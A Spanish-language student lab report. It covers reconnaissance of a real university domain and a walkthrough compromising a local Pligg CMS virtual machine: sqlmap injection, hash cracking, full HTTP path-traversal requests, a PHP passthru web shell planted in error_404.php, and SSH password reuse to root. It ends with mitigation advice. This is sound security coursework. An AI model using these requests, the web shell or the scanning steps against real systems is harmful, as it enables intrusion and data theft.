

Escalera Pedro, Iman Federico

Ej 1

Red a escanear: <https://www.famaf.unc.edu.ar/>

Lo primero que hicimos fue correr

```
dnsenum https://www.famaf.unc.edu.ar
```

Cuando dnsenum realizo fuerza bruta sobre el archivo dns.txt encontró unos cuantos dns pero entre todo lo que nos dio encontramos información importante como la siguiente:

```
www.famaf.unc.edu.ar. 128 IN CNAME ratri.famaf.unc.edu.ar.
```

Lo que significa que www.famaf.unc.edu.ar es un alias para el nombre de dominio ratri.famaf.unc.edu.ar y justo abajo de esto, dnsenum no devuelve la ip de ratri.famaf.unc.edu.ar es decir la ip de www.famaf.unc.edu.ar

```
ratri.famaf.unc.edu.ar. 127 IN A 200.16.17.123
```

por ende famaf tiene la ip 200.16.17.123 y es de tipo a y el host es ratri.famaf.unc.edu.ar (PTR).

Algunos de los dns obtenidos con dnsenum fueron:

- eolo.famaf.unc.edu.ar.
- pop.famaf.unc.edu.ar.
- agni.famaf.unc.edu.ar.
- server.famaf.unc.edu.ar.
- isis.famaf.unc.edu.ar.
- smtp.famaf.unc.edu.ar.
- agni.famaf.unc.edu.ar.
- webmail.famaf.unc.edu.
- www.famaf.unc.edu.ar.
- ratri.famaf.unc.edu.ar.
- www2.famaf.unc.edu.ar.
- ra.famaf.unc.edu.ar.

Una vez realizada esta prueba pasamos a hacer un escaneo de puertos usando nmap y algunas flags interesantes para obtener mas información.

Corriendo:

```
sudo nmap -O 200.16.17.123 -sV
```

obtuvimos la siguiente información:

```
Not shown: 997 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)

80/tcp open http nginx 1.10.3

443/tcp open ssl/http nginx 1.10.3

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Analizando esta información, parece que hay 3 puertos abiertos 2 con una versión de nginx y el 3ero con debian.

Ademas, el sistema operativo es Linux Linux 3.X|4.X

Visitando <https://www.shodan.io/host/200.16.17.123> tambien se puede ver esta informacion.

Corriendo whatweb obtuvimos una confirmación de que el ip de famaf es 200.16.17.123 y que están usando javascript pero no mucho mas.

Usando la herramienta dirb no pudimos encontrar o listar ningún endpoint.

Usando el servicio web <https://hostingchecker.com/> encontramos otra información como el nombre de la organización y la ubicación del ip.

Para terminar usamos la herramienta <https://hunter.io/> para buscar los emails de dicho dominio.

Ej 2

Para comenzar el segundo ejercicio lo primero que hicimos fue correr nmap sobre nuestra red local para ver que ip habia tomado la maquina virtual. Para esto usamos `sudo nmap -sn 192.168.0.0/24`, correrlo con sudo nos da la ventaja de tambien listar los hostnames de cada ip y asi logramos conseguir aquel que decia "Oracle VirtualBox virtual NIC". Una vez que conocimos la ip de la maquina virtual hicimos un escaneo de todos los puertos con `nmap -p0-65535 192.168.0.208`, este tipo de escaneo busca todos los puertos tcp en el rango completo. Luego de correr el escaneo descubrimos que solo hay 4 puertos tcp aparentemente abiertos:

- Un servidor ftp en el puerto 21
- Un servidor ssh en el puerto 22
- Un servidor http en el puerto 80 y 8000

Tanto el servidor ftp como el servidor ssh tenian usuarios y contraseñas asi que los dejamos de lado por ahora. El puerto 8000 simplemente nos daba un mensaje de forbidden (403) asi que nos enfocamos en el 80.

En el puerto 80 encontramos una pagina web con estructura de carpeta en donde habia 3 rutas. Una de ellas era nasa que nos llevo a una pagina que parecia nunca parar de cargar. Otra era pligg que nos llevo a un cms que parecia estar funcionando bien. La tercera, "important" fue en la primera que nos enfocamos ya que adentro habia otra carpeta llamada ajaxfilemanager en donde habia varios scripts de php que se ejecutaban (nos parecio importante ya que si logramos subir un archivo a este directorio el servidor lo iba a ejecutar). Tambien vimos que el archivo ajax_preview.php estaba filtrando informacion sobre la ruta dentro del servidor donde se encontraba esta carpeta, en particular, ahora sabemos que se encuentra en `"/var/www/html/important/ajaxfilemanager"`. Fuera de esto intentamos usar algunos de los archivos de upload y download para subir o descargar archivos sin exito, el ajaxfilemanager.php simplemente tiraba un error al no encontrar la carpeta uploaded asi que dejamos esta rama de lado por el momento.

Cuando nos pusimos a investigar pligg descubrimos que era un cms que dejo de ser popular hace años, los cual llevaba a la posibilidad que con las pocas actualizaciones hubiese huecos de seguridad. Efectivamente buscando en exploit-db encontramos dos vulnerabilidades que nos interesarón. Una era de path traversal y remote code execution pero requeria credenciales de administrador, mientras que la otra era una sql-injection que no requeria credenciales. Para realizar la sql-injection utilizamos sqlmap con el siguiente comando

```
sqlmap -u "http://192.168.0.208/pligg/story.php?title=secret-
```

```
war&reply=1&comment_id=1" --threads 4
```

lo cual nos dijo que el sitio era vulnerable a ataques del tipo boolean based y time-based. Luego corrimos `sqlmap -u "url-Vulnerable" --privileges` para analizar los privilegios que tenia el usuario que estaba manejando la db. Ahí fue donde obtuvimos que el usuario "pepe" solo tenia permisos de "USAGE" es decir basicamente no tenia muchos permisos, no podiamos descargar ni subir archivos con sqlmap. Lo que hicimos despues entonces fue analizar las tablas presentes en base de datos con `sqlmap -u "url_Vulnerable" --tables --threads 4`. Esto nos dio todas tablas presentes en la base de datos (los resultados que fuimos encontrando se encuentran en `sqlmap_log`) y nos enfocamos en dumper la llamada "pligg_users". De ahí obtuvimos el hash "1bf490bb34c2383ac91e67505741b9cdad3b9bee87e62ba98" del usuario administrador "bobama@nsa.gov.us". Buscando en internet descubrimos que los primeros 9 caracteres de lo que obtuvimos correspondian a la sal y los 40 restantes eran un hash del tipo sha1. Luego de romper el hash (con mucho esfuerzo y intentos fallidos durante dias) obtuvimos la password "obamaobamaobama" del admin.

A la hora de intentar la inyección de código tuvimos muchos problemas con el tema de que la vm parecía rota en la parte del admin. Notamos que la mayoría de los problemas parecían venir de que la vm parecía buscar recursos en la ip "172.18.1.68" en vez de la correcta. Esto lo solucionamos en kali agregando una regla redirijese el tráfico saliente a esa ip hacia la correcta. En nuestro caso el comando que utilizamos para hacer esto fue: `sudo iptables -t nat -A OUTPUT -p tcp -d 172.18.1.68 -j DNAT --to-destination 192.168.0.208`. Esto hizo que las páginas del admin por fin cargaran correctamente y nos sacó un problema que estabamos teniendo a la hora de hacer code execution y path traversal donde se quejaba de la configuración de chmod.

Una vez que solucionamos eso logramos hacer el primer ataque que nos permitió leer archivos dentro del

sistema. Haciendo la siguiente request pudimos leer el archivo /etc/passwd:

```
POST /pligg/admin/admin_editor.php HTTP/1.1
Host: 192.168.0.208
Host: 192.168.0.208
Connection: keep-alive
Cache-Control: max-age=0
Origin: http://192.168.0.208
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.18.1.68/admin/admin\_editor.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: PHPSESSID=9i252j0dcil78vt6n4r4mjr8u3; mn_m_user=barack;
mn_m_key=YmFyYWNRoJlyb1cxRUTSMmYvWDY6NTFmNjk4ZDE2YjVmYTk4MWY3NjdkOWIxYWFhN2UxZjA%3D
the_file=.../.../.../.../.../etc/passwd&open=Open
```

(Los contenido obtenidos estan en el archivo con el mismo nombre)

Lo siguiente que probamos fue cargar alguna especie de reverse shell con el mismo metodo del template editor cambiando alguno de los archivos de pligg. La request que utilizamos fue:

```
POST /pligg/admin/admin_editor.php HTTP/1.1
Host: 192.168.0.208
Host: 192.168.0.208
Connection: keep-alive
Cache-Control: max-age=0
Origin: http://192.168.0.208
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.18.1.68/admin/admin\_editor.php
Accept-Encoding: gzip, deflate
Accept-Language: es-ES,es;q=0.9
Cookie: PHPSESSID=9i252j0dcil78vt6n4r4mjr8u3; mn_m_user=barack;
mn_m_key=YmFyYWNRoJlyb1cxRUTSMmYvWDY6NTFmNjk4ZDE2YjVmYTk4MWY3NjdkOWIxYWFhN2UxZjA%3D
the_file2=.../.../.../.../.../var/www/html/pligg/error_404.php&save=Save+Changes&updatedfile=<?
php passthru($_GET['x']); ?>&isempty=1
```

Esto nos permitio ejecutar comandos cuando accediamos a la ruta

http://172.18.1.68/pligg/error_404.php?x= y poniendo el comando como argumento. Asi descubrimos que el usuario que ejecutaba los comandos era "www-data". Este usuario es el tipico que suele usarse y no suele tener muchos permisos con el fin de mitigar este tipo de ataques.

Pero volviendo para atras notamos una cosa en el contenido de /etc/passwd, vimos que existia un usuario con el nombre obama asi que probamos acceder por ssh a la vm con el usuario: "obama" y la contraseña

igual a la de pligg: "obamaobamaobama". Esto nos permitio entrar a la vm y con un simple `sudo -i` y poniendo la contraseña de obama vimos que el mismo pertencia al grupo de sudo lo cual nos da acceso total al sistema, somos root.

B)

Como mitigaciones hay varias cosas que deberian hacerse. Primero que todo hay que notar que pligg parece no ser mantenido desde 2014 - 2015, esto claramente lo marca como una mala decision para utilizarlo como cms ya que lo mas probable es que tenga vulnerabilidades conocidas. Luego del problema de pligg, el leakeo de informacion en ajaxfilemanager nos ayudo a la hora de editar archivos vitales cuando hicimos la inyeccion de codigo (ya que sabiamos que la ruta era "/var/www/html/pligg", es verdad que esa era la ruta mas probable pero tener la confirmacion no ayuda). Nosotros no le encontramos ninguna funcionalidad al ajaxfilemanager ya que parecia no funcionar asi que recomendariamos directamente sacarlo del servidor ya que potencialmente podria contener errores y si no tiene uso no sirve.

Nos parece importante notar que si el usuario no hubiese tenido la misma contraseña en pligg y en su usuario del servidor nunca hubiesemos conseguido el acceso total. Esto es claramente un error, el usuario deberia haber prohibido cualquier tipo de acceso por contraseña al servidor y haberse manejado exclusivamente mediante un sistema de clave publica y clave privada que es lo que se suele hacer. Esto es mucho mas seguro ya que para entrar al servidor uno primero deberia lograr obtener la clave privada de el usuario desde su pc lo cual hace el problema exponencialmente mas dificil. Y tambien evita que se usen herramientas como hydra para intentar forzar la contraseña. Agregar letras, simbolos o simplemente palabras mas random a la contraseña hubiese hecho mas dificil crackear el hash ya que herramientas como John the ripper utilizan los nombre de usuario a la hora de probar hashes.

Otra cosa que se podria hacer es cambiar el puerto del servidor ssh y ftp, es verdad que nosotros escaneamos todo el rango, pero mantenerlos en los puertos por default nos permitio saber de que servicios se trataba y probarlos despues. Obviamente que se puede obtener el servicio que corre igualmente, pero es mejor no mostrar vulnerabilidad a simple vista ya que alguien podria estar simplemente buscando puertos 22 abiertos a lo largo del internet. Tambien notar que la version de openssh no esta actualizada y tiene vulnerabilidades conocidas de enumeracion de usuarios y denegacion de servicio.